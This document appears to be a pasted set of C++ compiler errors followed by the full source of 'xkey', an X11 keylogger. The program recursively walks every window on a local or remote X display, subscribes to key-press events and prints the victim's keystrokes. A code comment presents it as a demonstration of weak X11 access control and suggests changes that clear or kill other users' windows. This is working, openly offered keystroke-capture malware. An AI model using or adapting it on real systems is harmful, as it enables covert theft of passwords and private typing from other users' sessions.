XKEY.C:12:19: X11/X.h: No such file or directory
XKEY.C:13:22: X11/Xlib.h: No such file or directory
XKEY.C:14:27: X11/Intrinsic.h: No such file or directory
XKEY.C:15:28: X11/StringDefs.h: No such file or directory
XKEY.C:16:23: X11/Xutil.h: No such file or directory
XKEY.C:17:23: X11/Shell.h: No such file or directory
XKEY.C:18: error: `XEvent' was not declared in this scope
XKEY.C:18: error: `ev' was not declared in this scope
XKEY.C:19: error: syntax error before `*' token
XKEY.C:20: error: `Window' was not declared in this scope
XKEY.C:20: error: syntax error before `,' token
XKEY.C: In function `void snoop_all_windows(...)':
XKEY.C:23: error: `Window' undeclared (first use this function)
XKEY.C:23: error: (Each undeclared identifier is reported only once for each
   function it appears in.)
XKEY.C:23: error: syntax error before `,' token
XKEY.C:27: error: `d' undeclared (first use this function)
XKEY.C:27: error: `root' undeclared (first use this function)
XKEY.C:27: error: `parent' undeclared (first use this function)
XKEY.C:27: error: `children' undeclared (first use this function)
XKEY.C:27: error: `XQueryTree' undeclared (first use this function)
XKEY.C:28: error: `FALSE' undeclared (first use this function)
XKEY.C:44: error: `type' undeclared (first use this function)
XKEY.C:44: error: `XSelectInput' undeclared (first use this function)
XKEY.C:50: error: `XFree' undeclared (first use this function)
XKEY.C: At global scope:
XKEY.C:53: error: `main' must return `int'
XKEY.C: In function `int main(...)':
XKEY.C:56: error: `XEvent' undeclared (first use this function)
XKEY.C:56: error: syntax error before `;' token
XKEY.C:62: error: `XOpenDisplay' undeclared (first use this function)
XKEY.C:66: error: `exit' undeclared (first use this function)
XKEY.C:68: error: `DefaultRootWindow' undeclared (first use this function)
XKEY.C:68: error: `KeyPressMask' undeclared (first use this function)
XKEY.C:71: error: `xev' undeclared (first use this function)
XKEY.C:71: error: `XNextEvent' undeclared (first use this function)
XKEY.C:72: error: `TranslateKeyCode' cannot be used as a function
XKEY.C:77: error: `strlen' undeclared (first use this function)
XKEY.C: At global scope:
XKEY.C:86: error: `ev' was not declared in this scope
XKEY.C:87: error: redefinition of `char*TranslateKeyCode'
XKEY.C:18: error: `char*TranslateKeyCode' previously defined here
XKEY.C:87: error: syntax error before `{' token
XKEY.C:90: error: 'KeySym' is used as a type, but is not defined as a type.
XKEY.C:91: error: syntax error before `if'
XKEY.C:94: error: `count' was not declared in this scope
XKEY.C:94: error: ISO C++ forbids declaration of `key_buff' with no type
XKEY.C:94: error: assignment (not initialization) in declaration
XKEY.C:95: error: syntax error before `if'

XKEY.C:53: error: `main' must return `int'
XKEY.C: In function `int main(...)':
XKEY.C:66: error: `exit' undeclared (first use this function)
XKEY.C:66: error: (Each undeclared identifier is reported only once for each
   function it appears in.)

#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>
char *TranslateKeyCode(XEvent *ev);
Display *d;
void snoop_all_windows(Window root, unsigned long type)
{
  static int level = 0;
  Window parent, *children, *child2;
  unsigned int nchildren;
  int stat, i,j,k;
  level++;
  stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
  if (stat == FALSE)
   {
     fprintf(stderr, "Can't query window tree...\n");
     return;
   }
  if (nchildren == 0)
    return;
  /* For a more drastic inidication of the problem being exploited
   * here, you can change these calls to XSelectInput() to something
   * like XClearWindow(d, children[i]) or if you want to be real
   * nasty, do XKillWindow(d, children[i]).  Of course if you do that,
   * then you'll want to remove the loop in main().
   *
   * The whole point of this exercise being that I shouldn't be
   * allowed to manipulate resources which do not belong to me.
   */
  XSelectInput(d, root, type);
  for(i=0; i < nchildren; i++)
   {
     XSelectInput(d, children[i], type);
     snoop_all_windows(children[i], type);
   }
  XFree((char *)children);
}
void main(int argc, char **argv)
{
  char *hostname;
  char *string;
  XEvent xev;
  int count = 0;
  if (argv[1] == NULL)
    hostname = ":0";
  else
    hostname = argv[1];
  d = XOpenDisplay(hostname);
  if (d == NULL)
   {
     fprintf(stderr, "Blah, can't open display: %s\n", hostname);
     exit(10);
   }
  snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
  while(1)
   {
     XNextEvent(d, &xev);
     string = TranslateKeyCode(&xev);
     if (string == NULL)
       continue;
     if (*string == '\r')
       printf("\n");
     else if (strlen(string) == 1)
       printf("%s", string);
     else
       printf("<<%s>>", string);
     fflush(stdout);
   }
}
#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];
char *TranslateKeyCode(XEvent *ev)
{
  int count;
  char *tmp;
  KeySym ks;
  if (ev)
   {
     count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
     key_buff[count] = '\0';
     if (count == 0)
      {
        tmp = XKeysymToString(ks);
        if (tmp)
          strcpy(key_buff, tmp);
        else
          strcpy(key_buff, "");
      }
     return key_buff;
   }
  else
    return NULL;
}